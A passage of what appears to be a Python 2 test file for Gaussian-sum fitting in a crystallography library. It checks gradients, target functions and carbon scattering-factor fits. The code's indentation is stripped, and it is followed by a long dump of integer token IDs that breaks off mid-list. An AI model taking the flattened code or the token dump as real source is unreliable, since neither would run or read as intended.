g = gaussian.sum((1,-2,3,-4,5), (-.1,.2,-.3,.4,-.5), 6)
s = StringIO()
g.show(s)
assert len(s.getvalue().split()) == 14
g = gaussian.sum((3,-2,1,-4,5), (-.3,.2,-.1,.4,-.5))
s = StringIO()
g.show(s)
assert len(s.getvalue().split()) == 12
assert isinstance(g.sort(), gaussian.sum)
assert approx_equal(g.sort().array_of_a(), (5,-4,3,-2,1))
assert approx_equal(g.sort().array_of_b(), (-.5,.4,-.3,.2,-.1))
assert not g.sort().use_c()
g = gaussian.sum((1,2),(3,4),5)
assert approx_equal(g.sort().array_of_a(), (2,1))
assert approx_equal(g.sort().array_of_b(), (4,3))
assert approx_equal(g.sort().c(), 5)
assert g.sort().use_c()
def fit_finite_diff_gradients(gfit, x, eps=1.e-2):
gr = flex.double()
c = gfit.c()
use_c = gfit.use_c()
for i in xrange(gfit.n_terms()):
t = []
for seps in (eps, -eps):
a = list(gfit.array_of_a())
a[i] += seps
t.append(
gaussian.sum(a, gfit.array_of_b(), c, use_c).at_x(x))
gr.append((t[0]-t[1])/(2*eps))
t = []
for seps in (eps, -eps):
b = list(gfit.array_of_b())
b[i] += seps
t.append(
gaussian.sum(gfit.array_of_a(), b, c, use_c).at_x(x))
gr.append((t[0]-t[1])/(2*eps))
if (use_c):
t = []
for seps in (eps, -eps):
t.append(
gaussian.sum(
gfit.array_of_a(), gfit.array_of_b(), c+seps, use_c).at_x(x))
gr.append((t[0]-t[1])/(2*eps))
return gr
def fit_finite_diff_target_gradients(gfit, power, use_sigmas, eps=1.e-2):
assert gfit.table_x().size() == 1
weight = 1/gfit.table_sigmas()[0]**2
gr = flex.double()
c = gfit.c()
use_c = gfit.use_c()
for i in xrange(gfit.n_terms()):
t = []
for seps in (eps, -eps):
a = list(gfit.array_of_a())
a[i] += seps
gf = gaussian.fit(
gfit.table_x(),
gfit.table_y(),
gfit.table_sigmas(),
gaussian.sum(a, gfit.array_of_b(), c, use_c))
t.append(gf.target_function(power, use_sigmas, gf.differences()))
gr.append((t[0]-t[1])/(2*eps))
t = []
for seps in (eps, -eps):
b = list(gfit.array_of_b())
b[i] += seps
gf = gaussian.fit(
gfit.table_x(),
gfit.table_y(),
gfit.table_sigmas(),
gaussian.sum(gfit.array_of_a(), b, c, use_c))
t.append(gf.target_function(power, use_sigmas, gf.differences()))
gr.append((t[0]-t[1])/(2*eps))
if (use_c):
t = []
for seps in (eps, -eps):
gf = gaussian.fit(
gfit.table_x(),
gfit.table_y(),
gfit.table_sigmas(),
gaussian.sum(gfit.array_of_a(), gfit.array_of_b(), c+seps, use_c))
t.append(gf.target_function(power, use_sigmas, gf.differences()))
gr.append((t[0]-t[1])/(2*eps))
return gr
def exercise_fit():
x = flex.double((0.1, 0.2, 0.5))
y = flex.double((3,2,1))
sigmas = flex.double((0.04,0.02,0.01))
gf = gaussian.fit(
x, y, sigmas,
gaussian.sum((1,2), (4,5)))
assert approx_equal(gf.array_of_a(), (1,2))
assert approx_equal(gf.array_of_b(), (4,5))
assert approx_equal(gf.c(), 0)
assert not gf.use_c()
assert approx_equal(gf.table_x(), x)
assert approx_equal(gf.table_y(), y)
assert approx_equal(gf.table_sigmas(), sigmas)
assert approx_equal(gf.fitted_values(),
[2.8632482881537511, 2.4896052951221748, 0.94088903489182252])
reference_gaussian = gaussian.sum((1,2,3), (4,5,6))
gf = gaussian.fit(
x, reference_gaussian, sigmas,
gaussian.sum((1,2), (4,5)))
assert approx_equal(gf.array_of_a(), (1,2))
assert approx_equal(gf.array_of_b(), (4,5))
assert approx_equal(gf.c(), 0)
assert approx_equal(gf.table_x(), x)
assert approx_equal(gf.table_y(), reference_gaussian.at_x(x))
assert approx_equal(gf.table_sigmas(), sigmas)
assert isinstance(gf.sort(), gaussian.fit)
assert gf.sort().table_x() == gf.table_x()
assert gf.sort().table_y() == gf.table_y()
assert gf.sort().table_sigmas() == gf.table_sigmas()
assert approx_equal(gf.differences(), gf.at_x(x)-reference_gaussian.at_x(x))
c_fit = gaussian.fit(
flex.double([0.0, 0.066666666666666666, 0.13333333333333333,
0.2, 0.26666666666666666]),
gaussian.sum(
(2.657506, 1.078079, 1.490909, -4.2410698, 0.71379101),
(14.780758, 0.776775, 42.086842, -0.000294, 0.239535),
4.2979832),
flex.double(5, 0.0005),
gaussian.sum(
(1.1423916, 4.1728425, 0.61716694),
(0.50733125, 14.002512, 41.978928)))
differences = flex.double([-0.064797341823577881, 0.003608505180995536,
0.098159179757290715, 0.060724224581695019, -0.10766283796372011])
assert approx_equal(c_fit.differences(), differences)
assert approx_equal(c_fit.significant_relative_errors(),
[0.0107212, 0.0005581, 0.0213236, 0.0169304, 0.0385142])
gf = gaussian.fit(
x, reference_gaussian, flex.double(x.size(), 1),
gaussian.sum((1,2), (4,5)))
assert list(gf.bound_flags(False, False)) == [False,False,False,False]
assert list(gf.bound_flags(True, False)) == [True,False,True,False]
assert list(gf.bound_flags(False, True)) == [False,True,False,True]
sgf = gf.apply_shifts(flex.double((3,-3,4,6)), True)
assert approx_equal(sgf.array_of_a(), (1+3,2+4))
assert approx_equal(sgf.array_of_b(),
((math.sqrt(4)-3)**2,(math.sqrt(5)+6)**2))
assert approx_equal(sgf.c(), 0)
assert not sgf.use_c()
sgf = gf.apply_shifts(flex.double((3,-3,4,6)), False)
assert approx_equal(sgf.array_of_a(), (1+3,2+4))
assert approx_equal(sgf.array_of_b(), (4-3,5+6))
assert approx_equal(sgf.c(), 0)
assert not sgf.use_c()
differences = sgf.differences()
for use_sigmas in [False, True]:
assert approx_equal(sgf.target_function(2, use_sigmas, differences),
25.0320634)
assert approx_equal(sgf.target_function(4, use_sigmas, differences),
256.2682575)
assert approx_equal(
sgf.gradients_d_abc(2, use_sigmas, differences),
[15.6539271, -4.1090114, 10.4562306, -1.6376781])
gfc = gaussian.fit(
x, reference_gaussian, flex.double(x.size(), 1),
gaussian.sum((1,2), (4,5), 6))
assert list(gfc.bound_flags(False, False)) == [False,False,False,False,False]
assert list(gfc.bound_flags(True, False)) == [True,False,True,False,True]
assert list(gfc.bound_flags(False, True)) == [False,True,False,True,False]
sgfc = gfc.apply_shifts(flex.double((3,-3,4,6,-5)), True)
assert approx_equal(sgfc.array_of_a(), (1+3,2+4))
assert approx_equal(sgfc.array_of_b(),
((math.sqrt(4)-3)**2,(math.sqrt(5)+6)**2))
assert approx_equal(sgfc.c(), 6-5)
assert sgfc.use_c()
sgfc = gfc.apply_shifts(flex.double((3,-3,4,6,-5)), False)
assert approx_equal(sgfc.array_of_a(), (1+3,2+4))
assert approx_equal(sgfc.array_of_b(), (4-3,5+6))
assert approx_equal(sgfc.c(), 6-5)
assert sgfc.use_c()
differences = sgfc.differences()
for use_sigmas in [False, True]:
assert approx_equal(sgfc.target_function(2, use_sigmas, differences),
44.8181444)
assert approx_equal(sgfc.target_function(4, use_sigmas, differences),
757.3160329)
assert approx_equal(
sgfc.gradients_d_abc(2, use_sigmas, differences),
[21.1132071, -6.0532695, 13.6638274, -2.2460994, 22.7860809])
differences = c_fit.differences()
gabc = c_fit.gradients_d_abc(2, False, differences)
assert approx_equal(
gabc,
[-0.016525391425206391, 0.0074465239375589107, 0.020055876723667564,
0.00054794635257838251, -0.018754011379726425, -0.0011194004809549143])
assert approx_equal(
c_fit.gradients_d_shifts(flex.double((0.1,0.4,0.2,0.5,0.3,0.6)), gabc),
[-0.0165254, 0.01656512, 0.0200559, 0.0046488, -0.0187540, -0.0158487])
g5c = gaussian.sum(
(2.657505989074707, 1.0780789852142334, 1.4909089803695679,
-4.2410697937011719, 0.71379101276397705),
(14.780757904052734, 0.77677500247955322, 42.086841583251953,
-0.00029399999766610563, 0.23953500390052795),
4.2979831695556641)
for include_constant_term in (False, True):
a = flex.double(g5c.array_of_a())
b = flex.double(g5c.array_of_b())
permutation = flex.sort_permutation(data=flex.abs(a), reverse=True)[:4]
gf = gaussian.fit(
flex.double([0]),
g5c,
flex.double(1, 1),
gaussian.sum(
iter(a.select(permutation)),
iter(b.select(permutation)), 0, include_constant_term))
assert approx_equal(gf.differences(), [-5.01177418232])
shifts = flex.double(8,-1)
if (include_constant_term): shifts.append(-.2)
sgf = gf.apply_shifts(shifts, False)
assert approx_equal(sgf.array_of_a(),
[-5.2410698, 1.657506, 0.49090898, 0.078078985])
assert approx_equal(sgf.array_of_b(),
[-1.0002940, 13.780758, 41.086842, -0.223225])
if (include_constant_term):
assert approx_equal(sgf.c(), -.2)
expected_gradients = [1,0,1,0,1,0,1,0]
if (include_constant_term): expected_gradients.append(1)
assert approx_equal(
fit_finite_diff_gradients(sgf, 0),
expected_gradients,
eps=1.e-4)
for i in xrange(10):
gf = gaussian.fit(
flex.double([i / 10.]),
g5c,
flex.double(1, 1),
sgf)
differences = flex.double([0.5])
assert approx_equal(
gf.gradients_d_abc(2, False, differences),
fit_finite_diff_gradients(gf, gf.table_x()[0]),
eps=1.e-3)
for sigma in [0.04,0.02,0.01]:
gf = gaussian.fit(
flex.double([i / 20.]),
g5c,
flex.double([sigma]),
sgf)
for power in [2,4]:
for use_sigmas in [False, True]:
differences = gf.differences()
an=gf.gradients_d_abc(power, use_sigmas, differences)
fi=fit_finite_diff_target_gradients(gf, power, use_sigmas)
assert eps_eq(an, fi, eps=1.e-3)
carbon_s_y_table = [
0.00, 6.000, 0.01, 5.990, 0.02, 5.958, 0.03, 5.907, 0.04, 5.837, 0.05, 5.749,
0.06, 5.645, 0.07, 5.526, 0.08, 5.396, 0.09, 5.255, 0.10, 5.107, 0.11, 4.952,
0.12, 4.794, 0.13, 4.633, 0.14, 4.472, 0.15, 4.311, 0.16, 4.153, 0.17, 3.998,
0.18, 3.847, 0.19, 3.701, 0.20, 3.560, 0.22, 3.297, 0.24, 3.058, 0.25, 2.949,
0.26, 2.846, 0.28, 2.658, 0.30, 2.494, 0.32, 2.351, 0.34, 2.227, 0.35, 2.171,
0.36, 2.120, 0.38, 2.028, 0.40, 1.948, 0.42, 1.880, 0.44, 1.821, 0.45, 1.794,
0.46, 1.770, 0.48, 1.725, 0.50, 1.685, 0.55, 1.603, 0.60, 1.537, 0.65, 1.479,
0.70, 1.426, 0.80, 1.322, 0.90, 1.219, 1.00, 1.114, 1.10, 1.012, 1.20, 0.914,
1.30, 0.822, 1.40, 0.736, 1.50, 0.659, 1.60, 0.588, 1.70, 0.525, 1.80, 0.468,
1.90, 0.418, 2.00, 0.373, 2.50, 0.216, 3.00, 0.130, 3.50, 0.081, 4.00, 0.053,
5.00, 0.025, 6.00, 0.013]
class tabulated_fit:
def __init__(self, limit, coefficients):
self.limit = limit
self.coefficients = coefficients
carbon_fit_6 = tabulated_fit(6.0, [
2.18188567686, 13.4533708328,
1.77612377639, 32.5790123523,
1.08772011297, 0.747293264573,
0.641460989931, 0.251251498175,
0.207885994451, 80.9799313275,
0.105219184507, 0.0587297979816])
carbon_fit_5 = tabulated_fit(6.0, [
2.65463431663, 14.7665037505,
1.49420264709, 42.0409767208,
1.05563210943, 0.780856499884,
0.688021531597, 0.258963998784,
0.104681246572, 0.0579465611728])
carbon_fit_4 = tabulated_fit(3.0, [
2.21557580709, 12.7523000206,
1.98306066831, 36.4905110196,
1.31636728472, 0.632825354093,
0.480812064621, 0.148079120135])
carbon_fit_3 = tabulated_fit(1.4, [
2.51340127252, 31.8053433708,
1.74867019409, 0.445605499982,
1.72398202356, 10.5831679451])
carbon_fit_2 = tabulated_fit(0.5, [
3.54355550695, 25.6239838191,
2.42579673735, 1.50364460774])
carbon_fit_1 = tabulated_fit(0.15, [
5.96792806111, 14.8957682987])
carbon_it1992 = tabulated_fit(2.0, [
2.31000, 20.8439,
1.02000, 10.2075,
1.58860, 0.568700,
0.865000, 51.6512,
0.215600])
carbon_wk1995 = tabulated_fit(6.0, [
2.657506, 14.780758,
1.078079, 0.776775,
1.490909, 42.086842,
-4.241070, -0.000294,
0.713791, 0.239535,
4.297983])
class carbon_fit(immoptibox_ports.test_function):
def __init__(self, tab_fit, perturb, verbose):
self.tab_fit = tab_fit
self.perturb = perturb
self.verbose = verbose
carbon_ss = flex.double(carbon_s_y_table)[0::2]
carbon_ys = flex.double(carbon_s_y_table)[1::2]
selection = carbon_ss <= tab_fit.limit + 1.e-3
self.fit = gaussian.fit(
carbon_ss.select(selection),
carbon_ys.select(selection),
flex.double(selection.count(True), 1),
gaussian.sum(flex.double(tab_fit.coefficients)))
n = self.fit.n_parameters()
immoptibox_ports.test_function.__init__(self,
m=self.fit.table_x().size(),
n=n,
check_with_finite_differences=(n <= 6 or n == 9),
verbose=verbose)
def initialization(self):
self.x0 = self.fit.parameters()
self.capital_f_x_star = 0.5*self.f(x=self.x0).norm()**2
if (self.perturb):
mersenne_twister = flex.mersenne_twister(seed=0)
self.x0 *= 1 + mersenne_twister.random_double(
size=self.x0.size(), factor=0.01)
self.tau0 = 1e-8
self.delta0 = 10
self.x_star = None
def label(self):
return "carbon_fit(n=%d, perturb=%s)" % (
self.fit.n_parameters(), str(self.perturb))
def check_minimized_capital_f_x_star(self, f_x_star, tolerance=1.e-3):
capital_f_x_star = 0.5*f_x_star.norm()**2
if (capital_f_x_star > self.capital_f_x_star):
assert capital_f_x_star < tolerance, (
capital_f_x_star, self.capital_f_x_star)
if (self.verbose):
print " WARNING: minimization converged to larger residual", \
"than original solution:"
print " original:", self.capital_f_x_star
assert self.perturb
def f(self, x):
fit = gaussian.fit(
self.fit.table_x(), self.fit.table_y(), self.fit.table_sigmas(),
gaussian.sum(x))
return fit.differences()
def jacobian_analytical(self, x):
fit = gaussian.fit(
self.fit.table_x(), self.fit.table_y(), self.fit.table_sigmas(),
gaussian.sum(x))
return fit.least_squares_jacobian_abc()
def hessian_analytical(self, x):
j = self.jacobian_analytical(x=x)
fit = gaussian.fit(
self.fit.table_x(), self.fit.table_y(), self.fit.table_sigmas(),
gaussian.sum(x))
return fit.least_squares_hessian_abc_as_packed_u() \
.matrix_packed_u_as_symmetric()
def exercise_fit_jacobian_and_hessian(verbose):
for tab_fit in [carbon_fit_1, carbon_fit_2, carbon_fit_3,
carbon_fit_4, carbon_fit_5, carbon_fit_6,
carbon_it1992, carbon_wk1995]:
for perturb in [False, True]:
carbon_fit(tab_fit=tab_fit, perturb=perturb, verbose=verbose)
def run():
exercise_term()
exercise_sum()
exercise_fit()
exercise_fit_jacobian_and_hessian(verbose="--verbose" in sys.argv[1:])
print format_cpu_times()
if (__name__ == "__main__"):
run()
| [
1,
529,
276,
1112,
420,
29958,
5632,
28402,
262,
29914,
29883,
312,
29890,
29916,
29918,
4836,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8542,
13,
3166,
885,
277,
29890,
29916,
29889,
19057,
1053,
5198,
3670,
747,
2251,
29918,
4011,
13,
3166,
885,
277,
29890,
29916,
29889,
755,
1053,
330,
17019,
13,
3166,
885,
277,
29890,
29916,
29889,
2378,
29918,
11922,
1053,
8525,
13,
3166,
619,
3116,
29890,
29916,
29889,
1688,
29918,
13239,
1053,
2134,
29916,
29918,
11745,
29892,
321,
567,
29918,
1837,
13,
3166,
619,
3116,
29890,
29916,
29889,
13239,
1053,
3402,
29918,
21970,
29918,
3706,
13,
2202,
29901,
13,
29871,
1053,
274,
29925,
860,
280,
408,
5839,
280,
13,
19499,
16032,
2392,
29901,
13,
29871,
1053,
5839,
280,
13,
3166,
274,
1231,
5971,
1053,
1714,
5971,
13,
5215,
5844,
13,
5215,
10876,
13,
13,
1753,
8093,
29918,
24970,
29918,
8235,
29918,
271,
29918,
29916,
29898,
29887,
17019,
29892,
921,
29892,
321,
567,
29922,
29896,
29889,
29872,
29899,
29945,
1125,
13,
29871,
565,
313,
29916,
1275,
29871,
29900,
1125,
736,
29871,
29900,
13,
29871,
4974,
921,
6736,
321,
567,
13,
29871,
27702,
353,
330,
17019,
29889,
271,
29918,
29916,
29898,
29916,
29899,
8961,
29897,
13,
29871,
260,
29886,
353,
330,
17019,
29889,
271,
29918,
29916,
29898,
29916,
29974,
8961,
29897,
13,
29871,
736,
313,
9392,
29899,
18276,
6802,
29898,
29906,
29930,
8961,
29897,
13,
13,
1753,
15058,
29918,
24970,
29918,
8235,
29898,
29887,
17019,
29892,
921,
29918,
3317,
29922,
29896,
1696,
302,
29918,
9748,
29922,
29945,
29900,
1125,
13,
29871,
363,
474,
297,
921,
3881,
29898,
29876,
29918,
9748,
29974,
29896,
1125,
13,
1678,
921,
353,
921,
29918,
3317,
334,
474,
847,
302,
29918,
9748,
13,
1678,
4656,
29918,
18925,
353,
8093,
29918,
24970,
29918,
8235,
29918,
271,
29918,
29916,
29898,
29887,
17019,
29892,
921,
29897,
13,
1678,
4656,
29918,
7054,
3637,
936,
353,
330,
17019,
29889,
24970,
29918,
8235,
29918,
271,
29918,
29916,
29898,
29916,
29897,
13,
1678,
4974,
321,
567,
29918,
1837,
29898,
5105,
29918,
18925,
29892,
4656,
29918,
7054,
3637,
936,
29897,
13,
13,
1753,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29887,
17019,
29892,
921,
29918,
3317,
29922,
29896,
1696,
302,
29918,
9748,
29922,
29896,
29900,
29900,
29900,
1125,
13,
29871,
16259,
29918,
14146,
284,
353,
29871,
29900,
13,
29871,
921,
29918,
10568,
353,
921,
29918,
3317,
847,
302,
29918,
9748,
13,
29871,
363,
474,
297,
921,
3881,
29898,
29876,
29918,
9748,
29974,
29896,
1125,
13,
1678,
921,
353,
921,
29918,
3317,
334,
474,
847,
302,
29918,
9748,
13,
1678,
716,
29918,
1767,
353,
330,
17019,
29889,
271,
29918,
29916,
29898,
29916,
29897,
13,
1678,
565,
313,
29875,
1125,
13,
418,
16259,
29918,
14146,
284,
4619,
313,
16304,
29918,
1767,
718,
716,
29918,
1767,
29897,
334,
869,
29945,
13,
1678,
12379,
29918,
1767,
353,
716,
29918,
1767,
13,
1678,
16114,
936,
29918,
14146,
284,
353,
330,
17019,
29889,
14146,
284,
29918,
8235,
29918,
271,
29918,
29916,
29898,
29916,
29892,
29871,
29896,
29889,
29872,
29899,
29941,
29897,
13,
1678,
4974,
321,
567,
29918,
1837,
29898,
7054,
3637,
936,
29918,
14146,
284,
29892,
330,
17019,
29889,
14146,
284,
29918,
8235,
29918,
271,
29918,
29916,
29898,
29916,
876,
13,
1678,
4974,
321,
567,
29918,
1837,
29898,
8058,
936,
29918,
14146,
284,
29930,
29916,
29918,
10568,
29892,
16114,
936,
29918,
14146,
284,
29892,
321,
567,
29922,
29896,
29889,
29872,
29899,
29945,
29897,
13,
13,
1753,
1840,
29918,
18925,
29918,
24970,
29918,
29881,
29918,
370,
29918,
271,
29918,
29916,
29898,
8489,
29892,
921,
29892,
321,
567,
29922,
29896,
29889,
29872,
29899,
29945,
1125,
13,
29871,
27702,
353,
330,
17019,
29889,
8489,
29898,
8489,
29889,
29874,
29899,
8961,
29892,
8489,
29889,
29890,
467,
271,
29918,
29916,
29898,
29916,
29897,
13,
29871,
260,
29886,
353,
330,
17019,
29889,
8489,
29898,
8489,
29889,
29874,
29974,
8961,
29892,
8489,
29889,
29890,
467,
271,
29918,
29916,
29898,
29916,
29897,
13,
29871,
867,
29918,
29874,
353,
313,
9392,
29899,
18276,
6802,
29898,
29906,
29930,
8961,
29897,
13,
29871,
27702,
353,
330,
17019,
29889,
8489,
29898,
8489,
29889,
29874,
29892,
8489,
29889,
29890,
29899,
8961,
467,
271,
29918,
29916,
29898,
29916,
29897,
13,
29871,
260,
29886,
353,
330,
17019,
29889,
8489,
29898,
8489,
29889,
29874,
29892,
8489,
29889,
29890,
29974,
8961,
467,
271,
29918,
29916,
29898,
29916,
29897,
13,
29871,
867,
29918,
29890,
353,
313,
9392,
29899,
18276,
6802,
29898,
29906,
29930,
8961,
29897,
13,
29871,
736,
330,
17019,
29889,
8489,
29898,
629,
29918,
29874,
29892,
867,
29918,
29890,
29897,
13,
13,
1753,
15058,
29918,
8489,
29918,
5105,
10070,
29918,
29881,
29918,
370,
29898,
8489,
29892,
921,
29918,
3317,
29922,
29896,
1696,
302,
29918,
9748,
29922,
29945,
29900,
1125,
13,
29871,
363,
474,
297,
921,
3881,
29898,
29876,
29918,
9748,
29974,
29896,
1125,
13,
1678,
921,
353,
921,
29918,
3317,
334,
474,
847,
302,
29918,
9748,
13,
1678,
4656,
29918,
18925,
353,
1840,
29918,
18925,
29918,
24970,
29918,
29881,
29918,
370,
29918,
271,
29918,
29916,
29898,
8489,
29892,
921,
29897,
13,
1678,
4656,
29918,
7054,
3637,
936,
353,
1840,
29889,
5105,
10070,
29918,
29881,
29918,
370,
29918,
271,
29918,
29916,
29918,
3044,
29898,
29916,
29930,
29916,
29897,
13,
1678,
4974,
321,
567,
29918,
1837,
29898,
5105,
29918,
18925,
29889,
29874,
29892,
4656,
29918,
7054,
3637,
936,
29889,
29874,
29897,
13,
1678,
4974,
321,
567,
29918,
1837,
29898,
5105,
29918,
18925,
29889,
29890,
29892,
4656,
29918,
7054,
3637,
936,
29889,
29890,
29897,
13,
13,
1753,
15058,
29918,
8489,
7295,
13,
29871,
260,
353,
330,
17019,
29889,
8489,
29898,
29906,
29892,
29941,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29873,
29889,
29874,
29892,
29871,
29906,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29873,
29889,
29890,
29892,
29871,
29941,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29873,
29889,
271,
29918,
29916,
29918,
3044,
29898,
29946,
511,
29871,
29906,
29930,
755,
29889,
4548,
6278,
29941,
29930,
29946,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29873,
29889,
271,
29918,
29916,
29898,
29906,
511,
29871,
29906,
29930,
755,
29889,
4548,
6278,
29941,
29930,
29946,
876,
13,
29871,
321,
567,
353,
29871,
29896,
29889,
29872,
29899,
29945,
13,
29871,
363,
474,
29916,
297,
313,
29916,
3881,
29898,
29896,
29900,
22164,
13,
1678,
921,
353,
474,
29916,
29914,
29896,
29900,
29889,
13,
1678,
4974,
321,
567,
29918,
1837,
3552,
29873,
29889,
271,
29918,
29916,
29898,
29916,
29974,
8961,
6817,
29873,
29889,
271,
29918,
29916,
29898,
29916,
29899,
8961,
876,
14571,
29906,
29930,
8961,
511,
260,
29889,
24970,
29918,
8235,
29918,
271,
29918,
29916,
29898,
29916,
876,
13,
29871,
363,
285,
297,
518,
29896,
6653,
29896,
5387,
13,
1678,
363,
260,
297,
518,
29887,
17019,
29889,
8489,
29898,
29888,
29930,
29906,
29892,
29941,
511,
13,
795,
330,
17019,
29889,
8489,
29898,
29888,
29930,
29941,
29892,
29900,
511,
13,
795,
330,
17019,
29889,
8489,
29898,
29888,
29930,
29946,
29892,
29896,
29889,
29872,
29899,
29946,
511,
13,
795,
330,
17019,
29889,
8489,
29898,
29888,
29930,
29945,
6653,
29896,
4638,
29901,
13,
418,
15058,
29918,
24970,
29918,
8235,
29898,
29873,
29897,
13,
418,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29873,
29897,
13,
418,
15058,
29918,
8489,
29918,
5105,
10070,
29918,
29881,
29918,
370,
29898,
29873,
29897,
13,
13,
1753,
15058,
29918,
2083,
7295,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
29900,
29897,
13,
29871,
4974,
330,
29889,
29876,
29918,
357,
1516,
580,
1275,
29871,
29900,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29874,
580,
1275,
3861,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29890,
580,
1275,
3861,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
330,
29889,
29876,
29918,
16744,
580,
1275,
29871,
29896,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
16744,
3285,
518,
29900,
2314,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
29900,
29892,
5852,
29897,
13,
29871,
4974,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
29900,
29892,
7700,
29897,
13,
29871,
4974,
451,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
29896,
29897,
13,
29871,
4974,
330,
29889,
29876,
29918,
357,
1516,
580,
1275,
29871,
29900,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29874,
580,
1275,
3861,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29890,
580,
1275,
3861,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29896,
29897,
13,
29871,
4974,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
330,
29889,
29876,
29918,
16744,
580,
1275,
29871,
29896,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
16744,
3285,
518,
29896,
2314,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
3285,
313,
876,
13,
29871,
4974,
330,
29889,
29876,
29918,
357,
1516,
580,
1275,
29871,
29900,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29874,
580,
1275,
3861,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29890,
580,
1275,
3861,
13,
29871,
4974,
330,
29889,
29883,
580,
1275,
29871,
29900,
13,
29871,
4974,
451,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
330,
29889,
29876,
29918,
16744,
580,
1275,
29871,
29900,
13,
29871,
4974,
330,
29889,
16744,
2141,
2311,
580,
1275,
29871,
29900,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
3285,
313,
511,
448,
29906,
29897,
13,
29871,
4974,
330,
29889,
29876,
29918,
357,
1516,
580,
1275,
29871,
29900,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29874,
580,
1275,
3861,
13,
29871,
4974,
330,
29889,
2378,
29918,
974,
29918,
29890,
580,
1275,
3861,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
448,
29906,
29897,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
16041,
29889,
8896,
3552,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
4961,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29892,
29941,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
2378,
29918,
974,
29918,
29890,
3285,
313,
29906,
29892,
29946,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
451,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
16744,
3285,
518,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
2314,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
16041,
29889,
8896,
3552,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
8243,
29871,
29900,
29892,
5852,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
16041,
29889,
8896,
3552,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
8243,
29871,
29945,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29945,
29897,
13,
29871,
4974,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
16744,
3285,
518,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
2314,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
29898,
16041,
29889,
8896,
3552,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
4961,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29945,
29897,
13,
29871,
4974,
330,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
16744,
3285,
518,
29896,
29892,
29906,
29892,
29941,
29892,
29946,
29892,
29945,
2314,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
3552,
29896,
6653,
29906,
29892,
29941,
6653,
29946,
29892,
29945,
511,
8521,
29889,
29896,
7671,
29906,
6653,
29889,
29941,
7671,
29946,
6653,
29889,
29945,
511,
29871,
29953,
29897,
13,
29871,
4974,
330,
29889,
29876,
29918,
357,
1516,
580,
1275,
29871,
29945,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
2378,
29918,
974,
29918,
29874,
3285,
29898,
29896,
6653,
29906,
29892,
29941,
6653,
29946,
29892,
29945,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
2378,
29918,
974,
29918,
29890,
3285,
6278,
29889,
29896,
7671,
29906,
6653,
29889,
29941,
7671,
29946,
6653,
29889,
29945,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
29883,
3285,
29871,
29953,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
271,
29918,
29916,
29918,
3044,
29898,
29941,
29914,
29946,
9774,
29871,
29896,
29941,
29889,
29946,
29906,
29945,
29896,
29906,
29900,
29953,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
